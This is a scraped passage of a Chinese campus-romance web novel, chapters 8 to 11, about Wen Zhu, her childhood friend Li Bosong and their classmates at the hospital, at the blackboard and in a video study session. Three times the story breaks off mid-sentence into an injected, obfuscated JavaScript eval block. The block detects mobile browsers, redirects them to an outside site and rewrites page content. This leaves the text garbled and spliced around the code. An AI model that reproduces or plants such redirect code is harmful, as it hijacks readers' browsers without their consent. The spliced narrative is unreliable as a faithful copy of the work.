闻竹吃完了两个奶黄包,回头看他的时候他正撸起两边的袖子,袖口卡在了线条流畅的小臂上。闻竹用湿纸巾擦着手,说道:“李泊松,昨天的化学卷子借我看一下。” 他在书包里拿出一个夹子,在众多卷子里扒拉了两下后单手抽出一张递给闻竹。闻竹接过一看,竟然没错。他那个有计划有条理的好习惯一直从小到现在。 毕雨泽已经神游天外在想增肌的事了,闻竹看到了,于是提醒他:“你不检查一下昨天晚上的化学卷子?一会儿岩姐提问有你哭的。” “哦对,”毕雨泽这才想起自己刚才抬头本就是想管李泊松借卷子,但是聊起天就忘了。然而现在卷子已经被人捷足先登,他盯着闻竹的背影发出哀嚎声:“哥哥姐姐,我是学渣,让让我吧——” - 毕雨泽今天运气不错,没有被提问,下课的时候曲思嘉拉着闻竹去厕所,他突然想到今天早晨跟李泊松提过的事,于是道:“咱们周六一起去吃烧烤。” 路一杭在叠衣服,他说:“对。” 闻竹听见了他俩对暗号一样的话,没懂这是在干嘛,转身要走。 毕雨泽叫住她俩:“别走别走,我是说,周六叫上泊松吧。” 闻竹往他的座位上瞥了一眼,李泊松正好不在,她环顾了一圈,在班级前门附近的饮水机旁边看到了这人的身影。 本来是去接水的,变成了做慈善——他的卫衣袖子依然卡在小臂上,抬手把水桶稳稳地放置在饮水机上。旁边拿着水杯的女生朝他笑,他挺礼貌地点了下头,退了一步让女生先接水。 闻竹“嗯”了声:“可以啊,这是什么大事么?” 曲思嘉把纸巾揣进兜里,揽住闻竹的胳膊。 “我没问题,毕竟刚才还吃了人家买的奶黄包。”她说完,又欠欠地补充道:“而且是竹子的竹马嘛。” 这话得到了闻竹的限定版白眼,她无语地问:“你说这话的时候嘴不会瓢吗?” “竹子的竹马……”曲思嘉又重复了一遍,点头道:“是有点哦。” 闻竹:“……” 路一杭看着她俩的对话,觉得无法评价,不过他的态度和她们一样。 “我也没问题,毕竟……” 他没说完,曲思嘉接话:“毕竟你也吃了奶黄包?” “毕竟人家还给你修了车。”闻竹补充。 毕雨泽虽然能想象得到这个结果,但他依然对现在的情况很满意。他在脑海中想了一会儿鸡皮羊肉串大油边,忽然想到了什么,问道:“哎,小路,泊松什么时候给你修车了,啊?” 8. 未知过往 听到这话,闻竹没表情地转头去看他。本想控诉他幸灾乐祸,但看到男生的眼睛时却发现,虽然他语气听起来欠欠的,眼睛里的关心却明晃晃。 到这时候,她觉得李泊松好像也没有变,还是这个性子,还是关心朋友,还是揣着炽热的心。 李泊松看到她会关心她,闻竹自然也能想到同样的问题。 这个人怎么跑来医院了?是自己生病了还是探病?探病的话,这个时间是不是稍有些晚了啊。 闻竹盯着李泊松的眼睛一小会儿,歪着头没说话。而后她忽然发现了什么,因为说话不方便,于是直接伸手,把一张险些在主人动作中飞出外衣口袋的A4纸塞了回去。 这张A4纸被对折了两次,闻竹在一眼扫到了医院的标识,根据以往的经验判断这是就诊单。 李泊松看着她的动作,垂眸道了句谢。 有一个人不能讲话,在她旁边的另一个人也选择了不讲话,两个人胳膊挨着胳膊地走,选择用微信交流,有点奇怪的默契。 【L:智齿么?】 【一支竹子:对。】 【L:你现在有没有觉得不舒服?】 【一支竹子:还好,就是感觉有点怪。】 李泊松弯了下唇,他停下脚步,微微偏头去看闻竹的脸,他只看了一瞬就把视线移开了,却还是被注意他的闻竹捕捉到了。 【一支竹子:你是不是在看我的脸有没有肿?】 闻竹听到了近在咫尺的一声轻笑。 【L:这都被你猜到了。】 【一支竹子:……】 【一支竹子:我要去卫生间把棉球吐掉,你忙吗,要不要先走?】 发出这句话的时候,闻竹的手无意识摩挲了下手机。 还是有一些不同的。比如三年前的自己一定不会这么客气,他们现在的关系像彼此众多朋友中不起眼的任何一个。 李泊松只回了三个字。 【L:我等你。】 - 闻竹尽量迅速地把自己收拾好出来,看到男生插着兜闲闲地靠在椅子上。他的姿势非常放松,长腿随意伸着,眼睛闭着,睫毛盖在下眼睑,安静得像是睡着了。 五分钟,也没有很久啊。 她走过去,还没说话,李泊松就似有所感地睁开了眼睛。 “一会儿去哪?”他问。 “回家,”这句话指代不太明确,她补充道:“四季学府。” 把棉球吐出去之后,闻竹可以说话了,但缺了颗牙的怪异感实在明显,她总觉得嘴张不开,说话的语调也和平时有些区别。 李泊松从椅子上起身:“嗯,一起走吧?” 闻竹点了下头。 然而她早晨吃得晚,这会儿早就饿得前胸贴后背了,最快的速度回家也要半个小时,她问:“能不能先吃饭?” “行啊。”李泊松痛快地答应了之后,努力在脑海里搜寻附近好吃的店,无果。于是他问:“你想吃什么?” 闻竹实在太饿,也不想在这么冷的天走出医院再走几百米去吃东西,更何况她现在嘴都没法张大。 她纠结了一会儿:“吃医院食堂吧。” “嗯,”李泊松弯弯眼睛看着她:“医生说什么?你现在是不是只能喝粥?” 闻竹长长地叹了口气。 - 两人点好了午饭,相对坐着。他们在学校也经常会一起吃饭,只不过那时候都是五个人,而不是只有他们两个。 现在闻竹觉得不适感已经褪去很多了,嘴有些张不开,但是小口小口吃就不太受影响。她话本就不多,又对李泊松为什么来这很在意,就安静地低头用勺子舀南瓜粥。 不知道李泊松是不饿还是为了陪她,他面前也只有一碗粥,除此之外什么都没点。这根本不符合他平日里的饭量。 发觉闻竹在看他,李泊松也抬眸看回去,对方完全没有躲避目光的意思。他想了想,问闻竹:“你有话要问我,是吧?” 闻竹踌躇不定,斟酌了一会儿,最终还是决定不拐弯抹角。李泊松和她是那么多年的朋友,她关心朋友还需要找借口么? 她问:“你来医院做什么?” 她黑色眼瞳里的探究写得明明白白,即便如此,李泊松也知道,如果他不想说,闻竹就一定不会再问了。 可他却出乎意料地坦诚:“来看医生。” 犹豫了一会儿后,李泊松把那张被闻竹塞回去的A4纸递给她。 闻竹一眼扫到一个角,看到了“骨科”两个大字。 她没动那张单子,只微不可查地皱了下眉。 去骨科看医生,大概率是比较严重的伤,严重的外伤有概率勾连着心里的伤痛,她不知道自己该不该问了。 “纠结什么呢?”李泊松是个外向张扬的性子,吃饭却安静斯文,闻竹看他喝粥都觉得有食欲,但她现在还顾不上别的。 李泊松的视线划过闻竹的眼睛,又扫过桌上的那张纸。 “……你的右手是不是受过伤?”问这话的时候,闻竹没有看他。 李泊松动作一顿,抬眼看向对面的女孩,他舀了一勺皮蛋粥,在有限的空间里,香味飘散。闻竹看他的眼神从担心变成了无奈,他终于开口了:“你猜的?” 闻竹“嗯”了声。 李泊松很感兴趣,他笑盈盈的,好奇道:“怎么猜的?” 闻竹不知道有没有猜对,也不想自己去看,只好简单地说:“就是瞎猜的……你不是左撇子么,写字都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079125|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在叔叔阿姨一直以来的督促下改过来的,其他的事都习惯用左手。但是我感觉你现在用右手很多,好像已经习惯了似的。而且你不是去骨科了吗,我就在想是不是左手骨折过?” “这么细心啊?” 李泊松说者无意,闻竹也是听者无心。她无语道:“你的‘恶习’太深入人心了,反思一下自己。” 小学刚开学不久就换了座位,李泊松成为了她的同桌,当时班级的座位是女生在左、男生在右,中午吃饭的时候,闻竹用右手抓筷子,她亲爱的同桌李泊松用左手,每天的午饭时间,两个小孩的手肘都会碰在一起,打得不可开交。 前几天下楼去上体育课的时候,李泊松就走在她左边,手闲不住地转球玩,毕雨泽和路一杭打闹碰了他一下,如果不是他们两个反应都够快,球已经砸在她肩膀上了。 那个时候闻竹就突然想到,多年的习惯固定难改,这人怎么开始用右手转球了。 - “啊?” 听完她的话,陈女士摘掉面膜,给出了自己最真实的反馈:“虽然马普尔小姐是你的偶像,但你的推理有漏洞啊,宝贝。” “……”闻竹皱了皱鼻子,在妈妈面前露出非常可爱的表情。其实不只是用右手转球,闻竹能感觉到他有意识地在改左撇子的习惯,而且效果称得上显著。 “不过大多数改变确实都是有契机的,”妈妈和她闲聊:“你知道泊松后来为什么开始用右手吃饭吗?” “我记得是和他爸爸打赌了……”闻竹对李泊松他父母印象都不深,因为接触不多,又时间久远。她印象里李泊松他父母都是挺好的人,把他教得很好,即便他们两人之间的关系有很大裂痕。 “是啊,没准这次也是和谁打赌了呢?”陈青问。 “但是他去看骨科的医生。” 陈青觉得自己懂了:“所以你觉得是因为他曾经左手骨折了?”闻竹还没回话,她又问:“那你猜对了吗?” “没,”闻竹摇头,视线在客厅电视机上边的白色墙壁周围随意晃动,她把视线转向她妈妈,说:“他说是左边锁骨骨折。” “你没有问问为什么?” “他说是中考之后的那个暑假在路上骑车出了意外。” 闻竹这时皱了下眉,“我又问他怎么突然转学回来了,这么仓促。他想了一会儿,说情况有点复杂,然后就把话题岔开了。我感觉他不太想聊这些。” 陈青知道闻竹为什么会和她倾诉了,她耐心道:“如果你还想和他的关系回到之前那样,你可以问他的。沟通才是修复关系最有效的方式。” “李泊松这个人……”闻竹摇头,确定地说:“他想说的时候就会告诉我,如果他不想说,那我知道也没什么意义。” 9. 双向维护 高二三班是尖子班里人数最少的班级,所有同学总共分成十个组,每个组五个人。组分得多有好有坏,比如说在画板报的时候,一学期大概只轮得上一次,但每次都因为人数太少费时费力。 “咱们班从高一开始就是这样的,板报两周换一次,按组轮。” “这次谁选题?” 在午睡铃声打响两分钟后,闻竹浅浅打了个哈欠,支着下巴兴致缺缺地看他们讨论。 一中的大多数活动都和班级的周评比挂钩,所以大家心里装着集体荣誉那杆秤,对待这个黑板报还是比较认真的。闻竹每次都是画的那个,基本不参与选题。 她看大家都在给选题出谋划策,开口问:“你们商量好了吗,谁和我一起画?” 曲思嘉默默举手。 “不行。” 除了李泊松外,其余三个人异口同声地用两个字反对,连闻竹都把身子坐正了。 “我可以戴防尘指套。”曲思嘉默默道。 “上次你就是这么说的,指套戴了,手倒是没什么事,打喷嚏打了半节课。”路一杭摊手,“这次你要把口罩也戴上?最好再加个护目镜。” “算了,思嘉,别逞强啊。”毕雨泽摩拳擦掌,“我来帮忙!” 路一杭:“我们俩帮忙擦黑板,没问题。” “你瞧不起我??” “你对自己几斤几两真的没点ACD数吗?咱们两个做出来的东西就是很丑啊……” 曲思嘉起哄式劝架:“哎呀你们!别打起来!” 他们三个在那里争辩,闻竹头又往下低了些,看起来真是要睡着了一样。李泊松盯着她的动作很隐晦,她的几缕发丝却在动作间落在他手边。闻竹半睁了下眼睛,解释道:“思嘉粉笔过敏。” “嗯,”李泊松说:“我来吧。” 路一杭和毕雨泽同时鼓掌。 闻竹知道李泊松这时候站出来是出于性格里的责任感。但他们两个一起长大,她对李泊松从小到大的美术老师绞尽脑汁的鼓励性评价印象非常之深刻。 “你可以吗?”虽然这个时候提出质疑不太礼貌,但她还是这么问了。 李泊松也不介意,他弯弯眼睛:“当然,我可以帮你写字,我可是被陈老师夸过写字漂亮的人。” 闻竹看着他的眼睛,学着他那天的样子颇为虔诚地比了个祈祷的手势。 李泊松没忍住在午读时间笑出声来。 - 做板报这事儿每次都是时间紧任务重,闻竹和李泊松在岩姐的特批下甚至翘掉了体育课。毕雨泽和路一杭把黑板擦得锃亮后准备下楼,两个人在走廊里因为抢篮球差点大打出手。大梁最近不在学校,大家比之前嚣张了很多。 闻竹把袖子挽到小臂处,她手上颈上都没有任何饰品,因为觉得不舒服也不习惯。她在教室里的讲桌里拿了彩色和白色两盒粉笔,走出教室的时候差点被毕雨泽撞到。 说差点是因为她往后退了一步,然而她的脚并没有落在地上,而是落在了一个人的鞋上。 哎呀。 闻竹脸上没什么变化,心里却一惊,她转头,看到了李泊松的下巴后竟然习惯性地舒了口气。视线向下,一双不甚明显的鞋印出现在了原本一尘不染的黑色球鞋上。 “对不起。”闻竹赶忙道歉,还不忘偏头给了毕雨泽一个刀子一样的眼神。 “没事,等我一会儿。”李泊松朝她眨了下眼睛,把手里的板擦放进闻竹手里,转身又进了班级。 毕雨泽愣住了,觉得他和闻竹这两天有点犯冲。 但错是犯了,他老老实实地道歉,曲思嘉正好从教室出来,问闻竹晚上吃什么。 毕雨泽将功补过,忙道:“我买我买,想吃什么。” “谢谢,”闻竹不假思索道:“麻辣烫,多放麻油少放辣。” “真不客气啊。”路一杭哈哈笑,被毕雨泽怒瞪了一眼。 每到饭点,麻辣烫的点餐口处的排队盛景堪比五一小长假的景点。 “OK,没问题。”毕雨泽把头转回来,“泊松呢,泊松吃什么?哎,他人呢?” “回去擦鞋了。” 毕雨泽探头一看,果然是这么回事,于是跑过去叫他,问他吃什么。 曲思嘉的卫衣帽子又被无情地压在了冬季校服里边,她是过耳短发,没有头发的遮挡,脖颈下边的一个小山包看起来异常明显。 闻竹伸手,把帽子从棉服里拽出来。 收回手之后,闻竹看着他们三个,稍浅一些的眼瞳很亮。她颇为冷淡地晃了晃手里的草稿纸:“拜拜。” “好嘞——”毕雨泽拉长音说:“会给你们两个点好麻辣烫的。” “加油!”路一杭做了个握拳的手势。 “拜拜竹子,么么哒。”曲思嘉和她挥手。 闻竹无奈地笑了下。 “服了你们了……快走吧,上课快迟到了。” 两分钟后,整个楼道都安静下来了,班级里只有少数人还没下楼,前后门都关着,闻竹在走廊里能听到他们分贝很高的聊天声,但听不清具体说的是什么。 她拿了支绿色的粉笔在黑板上遥遥地比划了一下,下了第一笔。她半蹲在黑板前,眼神很专注,右手在细致地工作。左臂上挽着的袖子已经落了下去,有几缕长刘海垂落在耳际,随着动作晃动着。 李泊松远远地看到这幅景象,顺着长长的走廊一步步走过去。 早春的傍晚是很美好的,夕照的灿金色顺着窗棂打进来。闻竹的手机震动了两声,是曲思嘉在给她发外面连成片的火烧云。 闻竹听到脚步声没抬头,倒是李泊松先开口了。 “不冷吗?你穿得太少了。教室里和走廊的温差至少得有十度。” 闻竹抬头,男生垂眼俯视她,两个人都在对方的眼眸中看见了自己的身影。 “还好,没感觉冷,”她把落下的袖子重新挽上去,“穿棉服不舒服,胳膊都抬不起来。” 李泊松没退步:“你的秋季校服在吗?” 闻竹摇头。 “那你穿我的,我的在柜子里,新的还没洗,可能会有味道。”他想了想,之后的话转变成了自言自语:“拿到之后还没穿过,也不知道我穿好不好看。” “……” 闻竹找到了挺久之前在李泊松身上体会过的那种无语的感觉,竟然莫名其妙地有点怀念。 她放弃了和李泊松交流,手下动作没停,视线也重新回到黑板上。 “我柜子里有个白色的羊羔毛马甲,你帮我拿出来吧。” 李泊松应了一声,闻竹想起那个马甲被她塞进凳子旁边的纸袋里了,抬头想说一声,却看到李泊松面色如常地站在门口,一点没有打开门进去的意思。 闻竹觉得奇怪,脚步很轻地走过去,李泊松甚至被她突然而来的动作吓到了。 闻竹没理他,听到了里边两个人的窃窃私语声,几句话的工夫,情绪就变得非常差。 她伸出的手即将触碰到门把的时候,被另外一只骨节分明的手拦住了。 心里那团火烧了起来,连带着看李泊松的表情都带着刀子一般。李泊松好脾气地笑笑:“你做什么?” “不做什么,别拉着我,”闻竹说,“我又不会和他们打起来。” “好了,”李泊松被她的语气逗得笑出来,他自己都不在意,没成想闻竹这么生气:“你就当做没听到。” “你忘了当初和我说过什么了?” 闻竹说完这就话就没再理他,单手推开了门。 李泊松收回伸出去的手,维持着站在门框处的姿势没动。 教室里几乎是全天开着灯的,刚刚大家去上体育课,把灯都关掉了,教室里显得有些昏暗,闻竹的手拍上灯的开关,看着他们两个。她生气的时候反而比平时更热情些:“嗨,”她问,“你们不上课吗?” “……”其中的女孩说:“他重感冒请假了。” “哦,这样。”闻竹懒得问他请假了你在干嘛,虽然是两个人的聊天,但她没有听到那个女孩说什么,对她的态度还是很客气,她说话的艺术都冲着那男生去了。 “都重感冒了还能在背后嚼同学的舌根,有那么充沛的精力不如去操场跑几圈。” 这个男生是半年前文理分科后转到他们班的,成绩也很不错,闻竹之前和他一直没什么交流,她完全不懂这种莫名其妙地诋毁从何而来。 “我说他两句关你什么事?”不知道是觉得丢人还是别的什么,他脸涨得通红,反驳了一句。 自己努力苦读的成绩,凭什么被别人随便揣测。 这些话只会出现在闻竹心里,她不会在吵架的时候说这些没起不到作用的话。 “因为我正义感强,”她表情都没变,语气没有刚才那么客气了:“而且我很好奇,李泊松考第一你急什么,不是他就是你了?我都没急。” 那男生就彻底无话可说了。 闻竹一直都是不吃亏的性格,并且不会在外人面前当乖乖女,她会直说自己觉得不舒服的事,以前有亲戚曾说她是“伶牙俐齿的小丫头”。 她那时候年纪小,不知道伶牙俐齿是褒义词还是贬义词,但她总觉得在那个语境里,她是说了让别人不高兴的话,之后才得到了那样的一个评价。 那天晚上她坐到妈妈的旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没准是抄的,你知道吧,非要说的话,这才是提高成绩最快的方式……” 声音是一男一女,如果不是提到了李泊松,闻竹都不知道这是在说她。 她没什么表情地站在门口,想等着他们说完再进去。这件事过去之后,闻竹回忆起来,清楚地知道李泊松就站在他身边,而他们两个一起长大,他一定知道自己并不在乎他们两个的话。 但是画面一转,在闻竹的回忆里,李泊松推门进去,伸手抓住了那个男生的领子。 闻竹反应过来后,赶忙把他拉开。那时候他都拳头已经打在那男生下巴上了。 其实李泊松这人脾气不错,够意思,朋友多,而且和闻竹一样有一定地钝感力,对很多事情都不是很在意。闻竹抓着他的胳膊,能感受到他出了汗。 “你看到她有多努力了吗,就随随便便揣测别人的成绩,她碍着你了?” “有时间不如自己好好学学,盯着别人干什么。” “还有,她的成绩是属于她自己的,和我没关系。” …… 他们两个出去之后,闻竹笑了下,安抚他:“当没听见就好了,理他们做什么。” 李泊松绷着脸把书包撂在桌上,看着站着的闻竹:“你不生气啊?” “我啊,不太生气。”闻竹才想起来没和他说谢谢,但她很久没跟李泊松说过这句话了,这次也就自然而然地抹掉了。她不是温柔脾气好的类型,说不生气却也不是在撒谎,因为这件事她是真的不在乎。被误解也好、被泼脏水也好,这都不重要,反正…… “反正下次我会考得更好。” 李泊松眼睛亮起来,小声吹了个口哨:“这句话真酷,有机会我也要这么说。” 闻竹也想笑,但她忍住了,只是愉悦地扯了下嘴角,转身去找自己的座位了。 - 李泊松搬出来一个桌子,把水盆和擦黑板的抹布都放在上边,闻竹看他还拿了副橡胶手套出来。他看到闻竹三两下勾勒出来的板画,觉得很美。闻竹却没心思想别的,盯着他的眼睛问道:“下次你还是会考得很好的,对吧?” 正在写字的人愣了下,闻竹知道他也想到了以前的那件事。 李泊松偏头,对她露出了一个和当年没什么两样的笑意。他想了想,拖着调子勉强道:“说不好啊,毕竟你和路一杭都挺牛的。” 话音刚落,就在闻竹的眼神里读出了恨铁不成钢的意味。 “我会努力的,放心吧。”他只好改口,笑眯眯地问道:“周末要不要一起学习?” 闻竹看出这人在逗她,冷淡拒绝:“不,我要自己学,然后超过你。” 10. 学习小组 “惊天大爆炸消息,谁要听??” 毕雨泽从后门溜进来,他瞄了一眼讲台,没看到老师的身影,于是神神秘秘地说了这么一句话。 李泊松在沉浸式刷题,根本没意识到自己旁边多了个人。路一杭倒是听见了,因为毕雨泽说话的时候怼了一下他的后背,但他没出声,把练习册翻了个页接着写。闻竹算题算得头晕眼花,在喝水的间隙听到了这么一句话,她眼睛从窗台上的绿植移开,很给面子地问道:“我听,怎么了?” 终于有人捧场,毕雨泽很高兴:“兄弟姐妹们,下午放假了!” 下课铃声正好打响,他因此提高了点音量,导致周围方圆几桌的同学都停下笔看着他。 曲思嘉转过身,来了点兴趣:“真的假的?” “我是谁,三班小灵通啊,我的消息还能有假?” “……”路一杭这才无语道:“你要是非得装逼,我们也不介意,但你能不能给自己取个洋气点的代号?” 旁边已经有人开始欢呼了,闻竹把杯里的水喝完,很理智地问他:“为什么?” 就连法定假日都会四舍五也舍的一中,怎么会没事给他们放假? “学校停水了,而且最近好像要消防检查还是什么的,正好就放半天。哎呀,两天半的假期,太美好了……” 李泊松抬眼,正对上闻竹的目光。 毕雨泽一会儿看看这个,一会儿看看那个,到最后也没从他们两个的眼神里看出什么,呆呆地问:“不是,你们俩计划啥呢,为什么这么默契?都不用说话的吗?” “我在想我们小区会不会也停水了。”李泊松解释。 毕雨泽看闻竹,闻竹点头。 高跟鞋敲击地面的“当当”声在走廊响起,不知道谁说了一句“岩姐来了”,班级里因为小道消息而产生的骚动平息了些。孟老师走上讲台,手里抱着好几沓卷子。 大家都倒抽一口凉气,李泊松小声吹口哨,靠在椅背上悠闲地和毕雨泽说:“看来你的小道消息挺准的。” 毕雨泽十分绝望:“这么多卷子,真头疼……你怎么这么淡然,这就是学霸吗……” 上课铃打响,孟丽岩像往常一样站在讲台上,讲话的语速很快,声音却很洪亮。她先是解释了下午放假的原因,而后说:“还有不到半个月的时间就月考了,我们应该会在这半学期把物化生三科的考试改成高考模式,也就是考理综,所以高二下半学期也是非常重要的半年,孩子们。” 了解岩姐的同学都知道,她说“孩子们”这三个字就是在打亲情牌,告诉大家,我是为你们好,你们知道是吧?好的,那我开始留作业了。 “我把作业分成了两部分,今天下午一部分,周末两天是第二部分。今日事今日毕,我一会儿会在班级群里组织打卡,写完作业之后记得传上去。” 她眼神一扫,严肃道:“听清了吗?” “听清了——”大家都拖着调子,却没人敢表达出半点不乐意。 说家庭作业就是家庭作业,直到还有两分钟放学,岩姐才让各科课代表把作业写在黑板上。曲思嘉用精致的小本子抄好作业,转头把本子塞进书包的时候发现他们几个都在盯着她看。 “……把作业发到群里是吧,我知道了。”她扶额,已经习以为常了。 几颗脑袋这才重新低下,铃声响了之后,岩姐依然是最先踏出班级门的那个,班级闹闹哄哄的,半点找不回刚才的安静来。 闻竹把手机开机,打开微信看了眼物业群,小区果然也停水了。她看着李泊松,没说话。 李泊松会意了:“我们可以在外面吃,想吃什么?” 闻竹偏头想了想,犯了选择恐惧症。 “中午一起吃饭吗?”她还记得因为她没聚上餐的事,问大家,没想到接到三种不同的拒绝。 “我和我们队一起吃,教练说下午放假的时候就约好了。”这是毕雨泽。 “我回家吃,今天我姑姑在。”这是路一杭。 闻竹的视线垂下去,闲闲地看着曲思嘉。 “不去,”思嘉伸出食指摇了摇,她笑嘻嘻道:“没有理由。” “……”闻竹点头,看着李泊松问他:“吃什么?” 李泊松想了想:“我都行啊,听你的。” 闻竹认真想了一会儿,想不到答案,于是把皮球踢回去:“你说吧,只要不喝粥吃什么都行。” - 虽然寒假刚过去不久,但意外假期还是让人神清气爽的。三月过半,虽然已是春天,供暖也快停了,温度却依然不见回升。 闻竹和李泊松走到校门口的时候,李泊松朝门卫的窗户瞥了一眼,笑着挥了挥手。 “你干嘛呢?” “和大爷打个招呼。”李泊松面色不改地答道,好像不觉得有什么问题。 闻竹虽然习惯了他这种自来熟的本事,但还是很纳闷:“你为什么会认识门卫的大爷?” 她在一中念了一年半的书,她都不认识。 “我管他借过老虎钳啊。” 闻竹懂了,不知怎么的,她忽地想起了交际花李泊松的交友原则: 多打招呼自然就认识了。 对此,闻竹的心理活动是:不认识怎么打招呼?? 闻竹戴着最近很流行的羊羔毛帽子,帽沿很大,她脸又小,几乎一半脸都被遮盖在帽子下。李泊松还像以前那样不怕冷,单单一件外套在外边,耳朵脖子都没有遮挡。 刚刚在教室里,闻竹说“听你的吧”,她在做决定临门一脚的时候总会有点选择困难症,于是 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这个群从四个人变成了五个人,大家笑闹依旧,闻竹往上翻了翻聊天记录,看到毕雨泽和曲思嘉正对他进行言语上的攻击。 她喝了好几天粥,好不容易吃了点别的,一下子吃得有点多,导致午间的睡意在一点半缓缓袭来。 平时的生物钟发挥了很大作用,她本想眯一会儿,退出对话框一看,岩姐已经把打卡通知发在了班级群里。 路一杭又欠欠地把链接转进了小群。 【路一杭:我要开始写数学作业了,谁来比赛,请扣1。】 按照以前,大概率是没人理他的,但是今时不同往日。 【L:1】 【一支竹子:。】 【思嘉:等我一下,五分钟~】 【毕雨泽:恨死你们学霸了/微笑/微笑/发怒/发怒】 五分钟后,五个人同时进入了视频通话。 “毕哥?欢迎光临。你们聚餐结束了?”路一杭问。 “滚蛋。”毕雨泽回敬道。 “你们干嘛呢,我刚进来就刀光剑影的?”闻竹把书包打开,拿出卷子,随口问道。 “我也来啦!”曲思嘉刚才在和她爸说话,连上线之后问道:“竹宝?我以为你不在。” 路一杭经常在群里搞这种活动,只有曲思嘉和毕雨泽偶尔配合他的表演。 “我也要比赛,”她难得幼稚地答道。“李泊松呢?” “嗯?我在做题啊。”低沉磁性的声音传进耳机,语气却有些欠打:“第四道了,怎么,你们还没开始?” 大家:“……” 毕雨泽又说:“我恨你们。” 11. 壁虎风波 下午的精神总是不如上午,加之今天缺少了午睡,闻竹做题做得头昏眼花,她把杯子里的水喝完,放下杯子的时候小声打了个哈欠。 视频通话依然开着,但属于他们的频道里很安静,闻竹抬头,只能看到每个人的发旋。 也就是这个瞬间,她忽然觉得感慨。 这就是他们一直以来安静的、不紧不慢的、却从来没有缺席的努力。 高二三班一直被说是一中最好的理科班,班里所有同学的成绩在全校都拿得出手,而且能打破大家对学霸没有运动和音乐细胞的刻板印象,一般集体活动的表现都在上游。毕雨泽虽说是体育特长生,而且总自称学渣,但他初升高的时候是实打实以文化课的成绩进三班的,所以他的成绩和“差”这个字没有半点关系。 曲思嘉的优势在语文,她想象力丰富、热爱生活、喜欢写东西,对文字有种天然的敏感和热爱。她的成绩虽然没有拔尖,但也非常稳定。 而作为三班的尖子生,路一杭没什么短板,也很勤奋,闻竹觉得他对于成绩好是有执念的。 至于李泊松……李泊松是那种“非常努力所以看起来毫不费力”的类型,别人看他平日里的样子绝对想不到他是能坐在书桌前学一天的人。 可为什么一起做黑板报的那天,那个男生怀疑李泊松的成绩时说到他原来的学校,闻竹听到了。她并不是很了解宁城,于是记住了学校的名字在手机上搜索,这是一所比重点高中稍差一些的学校,生源大概是各个初中的中等和中等偏上学生,而这些人里,绝对不该有李泊松。 所以他中考为什么会失利?和骨折的锁骨有什么关系吗? 在任何的亲密关系中,大家都有不想分享的一部分自己,我们要做的是尊重。闻竹记得,这是她妈妈教给她的。所以在那次聊天里,陈青肯定了闻竹都话并且确切告诉她,就算李泊松一直不说,也不代表没有把你当朋友。 闻竹接着困劲儿走了神,再看向平板屏幕就意外地和李泊松对上了视线。 李泊松在屏幕中歪歪脑袋,没说话。 距离规定的结束时间还有挺久,但毕雨泽这一圈都是学霸,他也就没多磨蹭,紧赶慢赶地把视频小窗,打开班级群上传了写好的作业。 这个打卡小程序有个特殊的环节就是在签名板上签字,他大概看了一眼班级其他几个交了作业的同学的,都是工整的楷体写着自己的名字,好像考试一般。 再看他们四个的签名,简直可以用奇形怪状来形容。 或许和手指在屏幕上签名不方便有关系,第一个打卡的闻竹就没做什么好榜样,她把认真的劲头都放在了做作业上,签名处只随意地写了个“竹”字,其余的地方都是空白,看起来颇为敷衍。再往下,接下来的签名板上跟着一个龙飞凤舞的“松”。 路一杭非常无聊地练习过自己的连笔签名,签名板上就是他多次练习的成果。曲思嘉画了一只不是很像的小猫,毕雨泽想了想,决定“入乡随俗”,划拉了一个大写字母B。 不知道谁特意设了个闹钟,铃声响起的时候,大家都长舒了口气。 “我不玩了……”毕雨泽说。 “不要放弃,”曲思嘉敷衍地安慰他一句,而后道:“我困了。” “有人已经睡着了。”李泊松笑了声。 这句话吸引了三个人的注意,他们在屏幕上搜索一阵,发现闻竹最早交了作业,然而视频里只能看见她有些毛茸茸的发顶。 “……” “她的睡眠质量一直这么好吗?” 三个人同时看向李泊松。 “在问我?”他好像思考了一会儿,“好像是。” 闻竹睡了十多分钟,混合着沙沙电流声听见了他们一人一句地闲聊,她调整了下自己的姿势,本想继续睡,却觉得口渴,梦游一样地端着水杯出门了。 在窗边喝水的时候,闻竹打开窗子,冷空气顺势钻进屋子里,又渗进她的毛衣。这个时间段的太阳高高地挂在天上,午后的小区很静谧,有几位老人裹着棉衣围在楼下的石桌旁下象棋。 吹了会儿风,闻竹清醒了一半,清醒之后,她心里就有了些“离经叛道”的想法。 虽然是岩姐规定的,但这个突如其来的假期就自己在家无聊地写作业,简直太可惜了。要不别写了,出去玩吧。 她这么想着,回到书桌前,却发现四个人都在看她。 “哦,醒了。”李泊松指尖翻着本漫画,靠在椅背上幽幽说道。 “……”闻竹没说话,她忽然发现他们几个现在是互相监督的关系,只得放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079128|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弃出去玩的念头。 虽然刚才睡了个天昏地暗,但她几天的学习状态还不错,做的那张数学卷子也几乎满分,不过自从上次和李泊松讨论过简单的方法之后,她就总想看看他是什么解法做出来的。 